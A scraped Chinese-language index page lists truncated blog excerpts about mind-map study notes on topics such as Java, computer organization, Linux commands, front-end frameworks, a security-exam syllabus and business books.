                基礎知識:面向物件 : 多執行緒 : 集合 : IO流 : 網路程式設計 : 因為思維導圖中內容的確是多,所有導致圖片中有些內容是未展開的,如果大家想要源思維導圖,請加群 : 374136223  ,直 



  
 

    


    
    
[筆記][思維導圖]讀深入理解JAVA記憶體模型整理的思維導圖

     
 
								
								            
							
							
							本人記憶差，整理這個思維導圖，相當於較認真的看了一遍，整個思維導圖，基本上就是對原文的拷貝。 
有了層級關係。和本人自己的一些理解。由於思維導圖弄出來的圖片大於100M了。所以就放出原始檔， 
更方便的 



  
 

    


    
    
【超詳細】計算機組成原理總結及思維導圖

     
 
								
								            
							
							
							計算機組成
第一章 計算機系統概論
馮諾依曼型計算機特點

1.計算機由運算器，控制器，儲存器，輸入和輸出裝置5部分組成
2.採用儲存程式的方式，程式和資料放在同一個儲存器中，並以二進位制表示。
3.指 



  
 

    


    
    
思維導圖不會畫？超詳細教程講解，小白也能變高手

     
 思路   進入   思維導圖   RoCE   外觀   學習者   png   follow   https   思維導圖可以讓復雜的問題變得簡單，簡單的可以在一張白紙上畫下來，讓人一看就明白問題的全部，思維導圖可以把人們看不見、摸不著的想法展現出來，學習者可以用思維導圖將自己記錄的知識記下來，進而進行反復 



  
 

    


    
    
讀書筆記-大型網站軟件系統的特點-思維導圖

     
 .com   需求   管理   情況   全球   海量   http   特點   周期   
大型網站系統的特點是：1.高並發，大流量；2.高可用，不間斷服務，7*24*365；3.海量數據，存儲與管理；4.用戶分布廣泛，網絡情況復雜，需要提供全球服務；5.需求更叠快，發布周期短；6.漸進式發展，好的產 



  
 

    


    
    
python基礎知識思維導圖1

     
 python本文出自 “13122425” 博客，請務必保留此出處http://13132425.blog.51cto.com/13122425/1959186python基礎知識思維導圖1 



  
 

    


    
    
前端-Vue思維導圖筆記

     
 右鍵   div   gpo   更多   結構   clas   src   思維導圖   img   結構
看不清的朋友右鍵保存或者新窗口打開哦！喜歡我可以關註我，還有更多前端思維導圖筆記前端-Vue思維導圖筆記 



  
 

    


    
    
前端HTML5思維導圖筆記

     
 mage   思維   div   保存   朋友   打開   前端   學習   bubuko   
看不清的朋友右鍵保存或者新窗口打開哦！熱愛學習前端，喜歡我可以關註我，更多的思維導圖筆記前端HTML5思維導圖筆記 



  
 

    


    
    
學霸是如何利用思維導圖做讀書筆記的？

     
 讀書筆記   思維導圖mindmaster   億圖圖示   
	
		為什麽要做讀書筆記？
	
	
		當你自己有這個疑問的時候，我感到很是開心，因為你沒有喪失人類一直擁有的天性：好奇心。之所以想要讓你做讀書筆記，是因為我們常常高估了自己的記憶力。
	


	書籍是我們生活中唾手可得的物品 



  
 

    


    
    
信息安全工程師教程學習筆記匯總（思維導圖及考試要點）

     
 信息安全工程師信息安全工程師教程思維導圖https://www.moondream.cn/?p=178信息安全工程師教程思維導圖鏈接：https://pan.baidu.com/s/1CePwH94kIEAEN0ZDhZuTEQ 密碼：請進入備考群獲取信息安全工程師學習筆記匯總信息安全工程師學習筆記一之第一章 



  
 

    


    
    
工具推薦：截圖工具、快速啟動工具、思維導圖工具、做筆記工具

     
 fast   分支   億圖圖示   manager   普通   百度搜   關鍵字   屏幕截圖   樹形   截圖工具：

FastStone Capture

相對其他軟件的特點：

支持滾動截圖；自帶編輯器，截圖後可以馬上編輯；
自帶屏幕拾色器，屏幕標尺

評價：業界知名的非常方便的截圖工具，比普通 



  
 

    


    
    
思維導圖學習1——元素介紹

     
 
 作者：小楊老師
 連結：https://www.zhihu.com/question/19651621/answer/120411815
 來源：知乎
 著作權歸作者所有。商業轉載請聯絡作者獲得授權，非商業轉載請註明出處。
 
  
  
  據說世界上有一群聰明的小孩會思考問題，他們有一個祕密武器——T 



  
 

    


    
    
《鳥哥的linux私房菜》學習筆記2-檔案與目錄管理與查閱（思維導圖）

     
  
  
  
 1、常見處理目錄的命令：cd，pwd，mkdir，rmdir 2、檔案與目錄的管理：ls（https://blog.csdn.net/weixin_42610712/article/details/83032052），cp，rm，mv，touch  3、檔案內容查閱——cat  4、檔案內容 



  
 

    


    
    
劉潤《五分鐘商學院》思維導圖筆記 - 管理篇（持續更新中...）

     
  
2017年在微信讀書群裡，一位朋友在得到App上訂閱了劉潤老師的《五分鐘商學院》，然後每天跟我們分享，我閱讀了一些之後，感覺特別吸引，因為劉潤老師可以用很精簡的文字就可以說明一個概念，漲姿勢啊。於是2018年上半年，當《五分鐘商學院》出版成書時，立馬訂購了全套4本。這是第二本管理篇的思維導圖學習筆記，後續 



  
 

    


    
    
蒂姆布朗《設計思維》- 學習筆記（思維導圖）

     
 一、關於IDEO與設計思維 
　　 
 　　IDEO是一家世界頂級創意公司，而作者蒂姆布朗是IDEO的CEO。當然，在未閱讀本書之前，我都是不知道的，也不會主動去了解IDEO和蒂姆布朗的。那麼，我為什麼要去讀這樣一本看起來跟我的專業（軟體開發）不相關的書呢？因為我最近換了一家新公司，在新公司裡，數字